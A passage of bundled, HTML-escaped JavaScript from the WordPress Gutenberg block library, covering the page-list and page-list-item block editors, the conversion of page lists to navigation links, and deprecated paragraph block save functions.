  var import_block_editor168 = __toESM(require_block_editor(), 1);
  function createNavigationLinks(pages = []) {
    const POST_TYPE_KIND = &quot;post-type&quot;;
    const linkMap = {};
    const navigationLinks = [];
    pages.forEach(({ id, title, link: url, type, parent }) =&gt; {
      const innerBlocks = linkMap[id]?.innerBlocks ?? [];
      linkMap[id] = (0, import_blocks71.createBlock)(
        &quot;core/navigation-link&quot;,
        {
          id,
          label: title.rendered,
          url,
          type,
          kind: POST_TYPE_KIND,
          metadata: {
            bindings: buildNavigationLinkEntityBinding(POST_TYPE_KIND)
          }
        },
        innerBlocks
      );
      if (!parent) {
        navigationLinks.push(linkMap[id]);
      } else {
        if (!linkMap[parent]) {
          linkMap[parent] = { innerBlocks: [] };
        }
        const parentLinkInnerBlocks = linkMap[parent].innerBlocks;
        parentLinkInnerBlocks.push(linkMap[id]);
      }
    });
    return navigationLinks;
  }
  function findNavigationLinkById(navigationLinks, id) {
    for (const navigationLink of navigationLinks) {
      if (navigationLink.attributes.id === id) {
        return navigationLink;
      }
      if (navigationLink.innerBlocks &amp;&amp; navigationLink.innerBlocks.length) {
        const foundNavigationLink = findNavigationLinkById(
          navigationLink.innerBlocks,
          id
        );
        if (foundNavigationLink) {
          return foundNavigationLink;
        }
      }
    }
    return null;
  }
  function convertToNavigationLinks(pages = [], parentPageID = null) {
    let navigationLinks = createNavigationLinks(pages);
    if (parentPageID) {
      const parentPage = findNavigationLinkById(
        navigationLinks,
        parentPageID
      );
      if (parentPage &amp;&amp; parentPage.innerBlocks) {
        navigationLinks = parentPage.innerBlocks;
      }
    }
    const transformSubmenus = (listOfLinks) =&gt; {
      listOfLinks.forEach((block, index, listOfLinksArray) =&gt; {
        const { attributes: attributes2, innerBlocks } = block;
        if (innerBlocks.length !== 0) {
          transformSubmenus(innerBlocks);
          const transformedBlock = (0, import_blocks71.createBlock)(
            &quot;core/navigation-submenu&quot;,
            attributes2,
            innerBlocks
          );
          listOfLinksArray[index] = transformedBlock;
        }
      });
    };
    transformSubmenus(navigationLinks);
    return navigationLinks;
  }
  function useConvertToNavigationLinks({
    clientId,
    pages,
    parentClientId,
    parentPageID
  }) {
    const { replaceBlock, selectBlock } = (0, import_data92.useDispatch)(import_block_editor168.store);
    return () =&gt; {
      const navigationLinks = convertToNavigationLinks(pages, parentPageID);
      replaceBlock(clientId, navigationLinks);
      selectBlock(parentClientId);
    };
  }

  // packages/block-library/build-module/page-list/convert-to-links-modal.mjs
  var import_components98 = __toESM(require_components(), 1);
  var import_compose39 = __toESM(require_compose(), 1);
  var import_i18n150 = __toESM(require_i18n(), 1);
  var import_jsx_runtime346 = __toESM(require_jsx_runtime(), 1);
  var convertDescription = (0, import_i18n150.__)(
    &quot;This Navigation Menu displays your website&#039;s pages. Editing it will enable you to add, delete, or reorder pages. However, new pages will no longer be added automatically.&quot;
  );
  function ConvertToLinksModal({ onClick, onClose, disabled }) {
    return /* @__PURE__ */ (0, import_jsx_runtime346.jsxs)(
      import_components98.Modal,
      {
        onRequestClose: onClose,
        title: (0, import_i18n150.__)(&quot;Edit Page List&quot;),
        className: &quot;wp-block-page-list-modal&quot;,
        aria: {
          describedby: (0, import_compose39.useInstanceId)(
            ConvertToLinksModal,
            &quot;wp-block-page-list-modal__description&quot;
          )
        },
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
            &quot;p&quot;,
            {
              id: (0, import_compose39.useInstanceId)(
                ConvertToLinksModal,
                &quot;wp-block-page-list-modal__description&quot;
              ),
              children: convertDescription
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime346.jsxs)(&quot;div&quot;, { className: &quot;wp-block-page-list-modal-buttons&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
              import_components98.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;tertiary&quot;,
                onClick: onClose,
                children: (0, import_i18n150.__)(&quot;Cancel&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
              import_components98.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                accessibleWhenDisabled: true,
                disabled,
                onClick,
                children: (0, import_i18n150.__)(&quot;Edit&quot;)
              }
            )
          ] })
        ]
      }
    );
  }

  // packages/block-library/build-module/page-list/edit.mjs
  var import_jsx_runtime347 = __toESM(require_jsx_runtime(), 1);
  var MAX_PAGE_COUNT = 100;
  var NOOP = () =&gt; {
  };
  function BlockContent({
    blockProps,
    innerBlocksProps,
    hasResolvedPages,
    blockList,
    pages,
    parentPageID
  }) {
    if (!hasResolvedPages) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { className: &quot;wp-block-page-list__loading-indicator-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Spinner, { className: &quot;wp-block-page-list__loading-indicator&quot; }) }) });
    }
    if (pages === null) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: &quot;warning&quot;, isDismissible: false, children: (0, import_i18n151.__)(&quot;Page List: Cannot retrieve Pages.&quot;) }) });
    }
    if (pages.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: &quot;info&quot;, isDismissible: false, children: (0, import_i18n151.__)(&quot;Page List: Cannot retrieve Pages.&quot;) }) });
    }
    if (blockList.length === 0) {
      const parentPageDetails = pages.find(
        (page) =&gt; page.id === parentPageID
      );
      if (parentPageDetails?.title?.rendered) {
        return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.Warning, { children: (0, import_i18n151.sprintf)(
          // translators: %s: Page title.
          (0, import_i18n151.__)(&#039;Page List: &quot;%s&quot; page has no children.&#039;),
          parentPageDetails.title.rendered
        ) }) });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: &quot;warning&quot;, isDismissible: false, children: (0, import_i18n151.__)(&quot;Page List: Cannot retrieve Pages.&quot;) }) });
    }
    if (pages.length &gt; 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;ul&quot;, { ...innerBlocksProps });
    }
  }
  function PageListEdit({
    context,
    clientId,
    attributes: attributes2,
    setAttributes
  }) {
    const { parentPageID } = attributes2;
    const [isOpen, setOpen] = (0, import_element85.useState)(false);
    const openModal = (0, import_element85.useCallback)(() =&gt; setOpen(true), []);
    const closeModal = () =&gt; setOpen(false);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { records: pages, hasResolved: hasResolvedPages } = (0, import_core_data52.useEntityRecords)(
      &quot;postType&quot;,
      &quot;page&quot;,
      {
        per_page: MAX_PAGE_COUNT,
        _fields: [&quot;id&quot;, &quot;link&quot;, &quot;menu_order&quot;, &quot;parent&quot;, &quot;title&quot;, &quot;type&quot;],
        // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
        // values is resolved, update &#039;orderby&#039; to [ &#039;menu_order&#039;, &#039;post_title&#039; ] to provide a consistent
        // sort.
        orderby: &quot;menu_order&quot;,
        order: &quot;asc&quot;
      }
    );
    const allowConvertToLinks = &quot;showSubmenuIcon&quot; in context &amp;&amp; pages?.length &gt; 0 &amp;&amp; pages?.length &lt;= MAX_PAGE_COUNT;
    const pagesByParentId = (0, import_element85.useMemo)(() =&gt; {
      if (pages === null) {
        return /* @__PURE__ */ new Map();
      }
      const sortedPages = pages.sort((a2, b2) =&gt; {
        if (a2.menu_order === b2.menu_order) {
          return a2.title.rendered.localeCompare(b2.title.rendered);
        }
        return a2.menu_order - b2.menu_order;
      });
      return sortedPages.reduce((accumulator, page) =&gt; {
        const { parent } = page;
        if (accumulator.has(parent)) {
          accumulator.get(parent).push(page);
        } else {
          accumulator.set(parent, [page]);
        }
        return accumulator;
      }, /* @__PURE__ */ new Map());
    }, [pages]);
    const blockProps = (0, import_block_editor169.useBlockProps)({
      className: clsx_default(&quot;wp-block-page-list&quot;, {
        &quot;has-text-color&quot;: !!context.textColor,
        [(0, import_block_editor169.getColorClassName)(&quot;color&quot;, context.textColor)]: !!context.textColor,
        &quot;has-background&quot;: !!context.backgroundColor,
        [(0, import_block_editor169.getColorClassName)(
          &quot;background-color&quot;,
          context.backgroundColor
        )]: !!context.backgroundColor,
        &quot;open-on-click&quot;: context.submenuVisibility === &quot;click&quot;,
        &quot;open-always&quot;: context.submenuVisibility === &quot;always&quot;
      }),
      style: { ...context.style?.color }
    });
    const pagesTree = (0, import_element85.useMemo)(
      function makePagesTree(parentId = 0, level = 0) {
        const childPages = pagesByParentId.get(parentId);
        if (!childPages?.length) {
          return [];
        }
        return childPages.reduce((tree, page) =&gt; {
          const hasChildren = pagesByParentId.has(page.id);
          const item = {
            value: page.id,
            label: &quot;\u2014 &quot;.repeat(level) + page.title.rendered,
            rawName: page.title.rendered
          };
          tree.push(item);
          if (hasChildren) {
            tree.push(...makePagesTree(page.id, level + 1));
          }
          return tree;
        }, []);
      },
      [pagesByParentId]
    );
    const blockList = (0, import_element85.useMemo)(
      function getBlockList(parentId = parentPageID) {
        const childPages = pagesByParentId.get(parentId);
        if (!childPages?.length) {
          return [];
        }
        return childPages.reduce((template, page) =&gt; {
          const hasChildren = pagesByParentId.has(page.id);
          const pageProps = {
            id: page.id,
            label: (
              // translators: displayed when a page has an empty title.
              page.title?.rendered?.trim() !== &quot;&quot; ? page.title?.rendered : (0, import_i18n151.__)(&quot;(no title)&quot;)
            ),
            title: (
              // translators: displayed when a page has an empty title.
              page.title?.rendered?.trim() !== &quot;&quot; ? page.title?.rendered : (0, import_i18n151.__)(&quot;(no title)&quot;)
            ),
            link: page.url,
            hasChildren
          };
          let item = null;
          const children = getBlockList(page.id);
          item = (0, import_blocks72.createBlock)(
            &quot;core/page-list-item&quot;,
            pageProps,
            children
          );
          template.push(item);
          return template;
        }, []);
      },
      [pagesByParentId, parentPageID]
    );
    const {
      isNested,
      hasSelectedChild,
      parentClientId,
      hasDraggedChild,
      isChildOfNavigation
    } = (0, import_data93.useSelect)(
      (select9) =&gt; {
        const {
          getBlockParentsByBlockName,
          hasSelectedInnerBlock,
          hasDraggedInnerBlock
        } = select9(import_block_editor169.store);
        const blockParents = getBlockParentsByBlockName(
          clientId,
          &quot;core/navigation-submenu&quot;,
          true
        );
        const navigationBlockParents = getBlockParentsByBlockName(
          clientId,
          &quot;core/navigation&quot;,
          true
        );
        return {
          isNested: blockParents.length &gt; 0,
          isChildOfNavigation: navigationBlockParents.length &gt; 0,
          hasSelectedChild: hasSelectedInnerBlock(clientId, true),
          hasDraggedChild: hasDraggedInnerBlock(clientId, true),
          parentClientId: navigationBlockParents[0]
        };
      },
      [clientId]
    );
    const convertToNavigationLinks2 = useConvertToNavigationLinks({
      clientId,
      pages,
      parentClientId,
      parentPageID
    });
    const innerBlocksProps = (0, import_block_editor169.useInnerBlocksProps)(blockProps, {
      renderAppender: false,
      __unstableDisableDropZone: true,
      templateLock: isChildOfNavigation ? false : &quot;all&quot;,
      onInput: NOOP,
      onChange: NOOP,
      value: blockList
    });
    const { selectBlock } = (0, import_data93.useDispatch)(import_block_editor169.store);
    (0, import_element85.useEffect)(() =&gt; {
      if (hasSelectedChild || hasDraggedChild) {
        openModal();
        selectBlock(parentClientId);
      }
    }, [
      hasSelectedChild,
      hasDraggedChild,
      parentClientId,
      selectBlock,
      openModal
    ]);
    (0, import_element85.useEffect)(() =&gt; {
      setAttributes({ isNested });
    }, [isNested, setAttributes]);
    return /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(import_jsx_runtime347.Fragment, { children: [
      (pagesTree.length &gt; 0 || allowConvertToLinks) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(
        import_components99.__experimentalToolsPanel,
        {
          label: (0, import_i18n151.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({ parentPageID: 0 });
          },
          dropdownMenuProps,
          children: [
            pagesTree.length &gt; 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
              import_components99.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n151.__)(&quot;Parent Page&quot;),
                hasValue: () =&gt; parentPageID !== 0,
                onDeselect: () =&gt; setAttributes({ parentPageID: 0 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
                  import_components99.ComboboxControl,
                  {
                    __next40pxDefaultSize: true,
                    className: &quot;editor-page-attributes__parent&quot;,
                    label: (0, import_i18n151.__)(&quot;Parent&quot;),
                    value: parentPageID,
                    options: pagesTree,
                    onChange: (value) =&gt; setAttributes({
                      parentPageID: value ?? 0
                    }),
                    help: (0, import_i18n151.__)(
                      &quot;Choose a page to show only its subpages.&quot;
                    )
                  }
                )
              }
            ),
            allowConvertToLinks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(&quot;div&quot;, { style: { gridColumn: &quot;1 / -1&quot; }, children: [
              /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(&quot;p&quot;, { children: convertDescription }),
              /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
                import_components99.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: &quot;primary&quot;,
                  accessibleWhenDisabled: true,
                  disabled: !hasResolvedPages,
                  onClick: convertToNavigationLinks2,
                  children: (0, import_i18n151.__)(&quot;Edit&quot;)
                }
              )
            ] })
          ]
        }
      ) }),
      allowConvertToLinks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(import_jsx_runtime347.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
          import_components99.ToolbarButton,
          {
            title: (0, import_i18n151.__)(&quot;Edit&quot;),
            onClick: openModal,
            children: (0, import_i18n151.__)(&quot;Edit&quot;)
          }
        ) }),
        isOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
          ConvertToLinksModal,
          {
            onClick: convertToNavigationLinks2,
            onClose: closeModal,
            disabled: !hasResolvedPages
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
        BlockContent,
        {
          blockProps,
          innerBlocksProps,
          hasResolvedPages,
          blockList,
          pages,
          parentPageID
        }
      )
    ] });
  }

  // packages/block-library/build-module/page-list/index.mjs
  var { name: name60 } = block_default60;
  var settings60 = {
    icon: pages_default,
    example: {},
    edit: PageListEdit
  };
  var init60 = () =&gt; initBlock({ name: name60, metadata: block_default60, settings: settings60 });

  // packages/block-library/build-module/page-list-item/index.mjs
  var page_list_item_exports = {};
  __export(page_list_item_exports, {
    init: () =&gt; init61,
    metadata: () =&gt; block_default61,
    name: () =&gt; name61,
    settings: () =&gt; settings61
  });

  // packages/block-library/build-module/page-list-item/block.json
  var block_default61 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/page-list-item&quot;,
    title: &quot;Page List Item&quot;,
    category: &quot;widgets&quot;,
    parent: [&quot;core/page-list&quot;],
    description: &quot;Displays a page inside a list of all pages.&quot;,
    keywords: [&quot;page&quot;, &quot;menu&quot;, &quot;navigation&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      id: {
        type: &quot;number&quot;
      },
      label: {
        type: &quot;string&quot;
      },
      title: {
        type: &quot;string&quot;
      },
      link: {
        type: &quot;string&quot;
      },
      hasChildren: {
        type: &quot;boolean&quot;
      }
    },
    usesContext: [
      &quot;textColor&quot;,
      &quot;customTextColor&quot;,
      &quot;backgroundColor&quot;,
      &quot;customBackgroundColor&quot;,
      &quot;overlayTextColor&quot;,
      &quot;customOverlayTextColor&quot;,
      &quot;overlayBackgroundColor&quot;,
      &quot;customOverlayBackgroundColor&quot;,
      &quot;fontSize&quot;,
      &quot;customFontSize&quot;,
      &quot;showSubmenuIcon&quot;,
      &quot;style&quot;,
      &quot;openSubmenusOnClick&quot;,
      &quot;submenuVisibility&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      lock: false,
      inserter: false,
      __experimentalToolbar: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-page-list-editor&quot;,
    style: &quot;wp-block-page-list&quot;
  };

  // packages/block-library/build-module/page-list-item/edit.mjs
  var import_block_editor170 = __toESM(require_block_editor(), 1);
  var import_data94 = __toESM(require_data(), 1);
  var import_core_data53 = __toESM(require_core_data(), 1);
  var import_dom8 = __toESM(require_dom(), 1);

  // packages/block-library/build-module/navigation-link/icons.mjs
  var import_components100 = __toESM(require_components(), 1);
  var import_jsx_runtime348 = __toESM(require_jsx_runtime(), 1);
  var ItemSubmenuIcon2 = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime348.jsx)(
    import_components100.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      width: &quot;12&quot;,
      height: &quot;12&quot;,
      viewBox: &quot;0 0 12 12&quot;,
      fill: &quot;none&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime348.jsx)(import_components100.Path, { d: &quot;M1.50002 4L6.00002 8L10.5 4&quot;, strokeWidth: &quot;1.5&quot; })
    }
  );

  // packages/block-library/build-module/page-list-item/edit.mjs
  var import_jsx_runtime349 = __toESM(require_jsx_runtime(), 1);
  function useFrontPageId() {
    return (0, import_data94.useSelect)((select9) =&gt; {
      const canReadSettings = select9(import_core_data53.store).canUser(&quot;read&quot;, {
        kind: &quot;root&quot;,
        name: &quot;site&quot;
      });
      if (!canReadSettings) {
        return void 0;
      }
      const site = select9(import_core_data53.store).getEntityRecord(&quot;root&quot;, &quot;site&quot;);
      return site?.show_on_front === &quot;page&quot; &amp;&amp; site?.page_on_front;
    }, []);
  }
  function PageListItemEdit({ context, attributes: attributes2 }) {
    const { id, label, link, hasChildren, title } = attributes2;
    const isNavigationChild = &quot;showSubmenuIcon&quot; in context;
    const frontPageId = useFrontPageId();
    const submenuVisibility = context.submenuVisibility;
    const openOnClick = submenuVisibility === &quot;click&quot;;
    const innerBlocksColors = getColors(context, true);
    const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
    const blockProps = (0, import_block_editor170.useBlockProps)(navigationChildBlockProps, {
      className: &quot;wp-block-pages-list__item&quot;
    });
    const innerBlocksProps = (0, import_block_editor170.useInnerBlocksProps)(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(
      &quot;li&quot;,
      {
        className: clsx_default(&quot;wp-block-pages-list__item&quot;, {
          &quot;has-child&quot;: hasChildren,
          &quot;wp-block-navigation-item&quot;: isNavigationChild,
          // Class assignment logic matches PHP rendering in page-list/index.php
          &quot;open-on-click&quot;: openOnClick,
          &quot;open-always&quot;: submenuVisibility === &quot;always&quot;,
          // Must check hover mode explicitly to match PHP elseif structure (index.php:212)
          &quot;open-on-hover-click&quot;: submenuVisibility === &quot;hover&quot; &amp;&amp; context.showSubmenuIcon,
          &quot;menu-item-home&quot;: id === frontPageId
        }),
        children: [
          hasChildren &amp;&amp; openOnClick ? /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(import_jsx_runtime349.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
              &quot;button&quot;,
              {
                type: &quot;button&quot;,
                className: &quot;wp-block-navigation-item__content wp-block-navigation-submenu__toggle&quot;,
                &quot;aria-expanded&quot;: &quot;false&quot;,
                dangerouslySetInnerHTML: {
                  __html: (0, import_dom8.safeHTML)(label)
                }
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(&quot;span&quot;, { className: &quot;wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(ItemSubmenuIcon2, {}) })
          ] }) : /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
            &quot;a&quot;,
            {
              className: clsx_default(&quot;wp-block-pages-list__item__link&quot;, {
                &quot;wp-block-navigation-item__content&quot;: isNavigationChild
              }),
              href: link,
              dangerouslySetInnerHTML: {
                __html: (0, import_dom8.safeHTML)(title)
              }
            }
          ),
          hasChildren &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(import_jsx_runtime349.Fragment, { children: [
            !openOnClick &amp;&amp; context.showSubmenuIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
              &quot;button&quot;,
              {
                className: &quot;wp-block-navigation-item__content wp-block-navigation-submenu__toggle wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon&quot;,
                &quot;aria-expanded&quot;: &quot;false&quot;,
                type: &quot;button&quot;,
                children: /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(ItemSubmenuIcon2, {})
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(&quot;ul&quot;, { ...innerBlocksProps })
          ] })
        ]
      },
      id
    );
  }

  // packages/block-library/build-module/page-list-item/index.mjs
  var { name: name61 } = block_default61;
  var settings61 = {
    __experimentalLabel: ({ label }) =&gt; label,
    icon: page_default,
    example: {},
    edit: PageListItemEdit
  };
  var init61 = () =&gt; initBlock({ name: name61, metadata: block_default61, settings: settings61 });

  // packages/block-library/build-module/paragraph/index.mjs
  var paragraph_exports = {};
  __export(paragraph_exports, {
    init: () =&gt; init62,
    metadata: () =&gt; block_default62,
    name: () =&gt; name63,
    settings: () =&gt; settings62
  });
  var import_i18n155 = __toESM(require_i18n(), 1);
  var import_blocks76 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/paragraph/deprecated.mjs
  var import_element86 = __toESM(require_element(), 1);
  var import_block_editor171 = __toESM(require_block_editor(), 1);
  var import_i18n152 = __toESM(require_i18n(), 1);
  var import_jsx_runtime350 = __toESM(require_jsx_runtime(), 1);
  var supports = {
    className: false
  };
  var blockAttributes5 = {
    align: {
      type: &quot;string&quot;
    },
    content: {
      type: &quot;string&quot;,
      source: &quot;html&quot;,
      selector: &quot;p&quot;,
      default: &quot;&quot;
    },
    dropCap: {
      type: &quot;boolean&quot;,
      default: false
    },
    placeholder: {
      type: &quot;string&quot;
    },
    textColor: {
      type: &quot;string&quot;
    },
    backgroundColor: {
      type: &quot;string&quot;
    },
    fontSize: {
      type: &quot;string&quot;
    },
    direction: {
      type: &quot;string&quot;,
      enum: [&quot;ltr&quot;, &quot;rtl&quot;]
    },
    style: {
      type: &quot;object&quot;
    }
  };
  var migrateCustomColorsAndFontSizes = (attributes2) =&gt; {
    if (!attributes2.customTextColor &amp;&amp; !attributes2.customBackgroundColor &amp;&amp; !attributes2.customFontSize) {
      return attributes2;
    }
    const style2 = {};
    if (attributes2.customTextColor || attributes2.customBackgroundColor) {
      style2.color = {};
    }
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    if (attributes2.customFontSize) {
      style2.typography = { fontSize: attributes2.customFontSize };
    }
    const {
      customTextColor,
      customBackgroundColor,
      customFontSize,
      ...restAttributes
    } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var migrateTextAlign2 = (attributes2) =&gt; {
    const { align, ...restAttributes } = attributes2;
    if (!align) {
      return attributes2;
    }
    return {
      ...restAttributes,
      style: {
        ...attributes2.style,
        typography: {
          ...attributes2.style?.typography,
          textAlign: align
        }
      }
    };
  };
  var { style, ...restBlockAttributes } = blockAttributes5;
  var deprecated12 = [
    // Version with `align` attribute.
    {
      supports: {
        className: false,
        typography: {
          fontSize: true
        }
      },
      attributes: blockAttributes5,
      isEligible(attributes2) {
        return !!attributes2.align || !!attributes2.className?.match(
          /\bhas-text-align-(left|center|right)\b/
        );
      },
      save({ attributes: attributes2 }) {
        const { align, content, dropCap, direction } = attributes2;
        const className = clsx_default({
          &quot;has-drop-cap&quot;: align === ((0, import_i18n152.isRTL)() ? &quot;left&quot; : &quot;right&quot;) || align === &quot;center&quot; ? false : dropCap,
          [`has-text-align-${align}`]: align
        });
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(&quot;p&quot;, { ...import_block_editor171.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_block_editor171.RichText.Content, { value: content }) });
      },
      migrate: migrateTextAlign2
    },
    // Version without drop cap on aligned text.
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customFontSize: {
          type: &quot;number&quot;
        }
      },
      migrate: migrateTextAlign2,
      save({ attributes: attributes2 }) {
        const { align, content, dropCap, direction } = attributes2;
        const className = clsx_default({
          &quot;has-drop-cap&quot;: align === ((0, import_i18n152.isRTL)() ? &quot;left&quot; : &quot;right&quot;) || align === &quot;center&quot; ? false : dropCap,
          [`has-text-align-${align}`]: align
        });
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(&quot;p&quot;, { ...import_block_editor171.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_block_editor171.RichText.Content, { value: content }) });
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customFontSize: {
          type: &quot;number&quot;
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize,
          direction
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const fontSizeClass = (0, import_block_editor171.getFontSizeClass)(fontSize);
        const className = clsx_default({
          &quot;has-text-color&quot;: textColor || customTextColor,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          &quot;has-drop-cap&quot;: dropCap,
          [`has-text-align-${align}`]: align,
          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: &quot;p&quot;,
            style: styles,
            className: className ? className : void 0,
            value: content,
            dir: direction
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customFontSize: {
          type: &quot;number&quot;
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize,
          direction
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const fontSizeClass = (0, import_block_editor171.getFontSizeClass)(fontSize);
        const className = clsx_default({
          &quot;has-text-color&quot;: textColor || customTextColor,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          &quot;has-drop-cap&quot;: dropCap,
          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: &quot;p&quot;,
            style: styles,
            className: className ? className : void 0,
            value: content,
            dir: direction
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customFontSize: {
          type: &quot;number&quot;
        },
        width: {
          type: &quot;string&quot;
        }
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2(attributes2)
        );
      },
      save({ attributes: attributes2 }) {
        const {
          width,
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor,
          fontSize,
          customFontSize
        } = attributes2;
        const textClass = (0, import_block_editor171.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = (0, import_block_editor171.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const fontSizeClass = fontSize &amp;&amp; `is-${fontSize}-text`;
        const className = clsx_default({
          [`align${width}`]: width,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          &quot;has-drop-cap&quot;: dropCap,
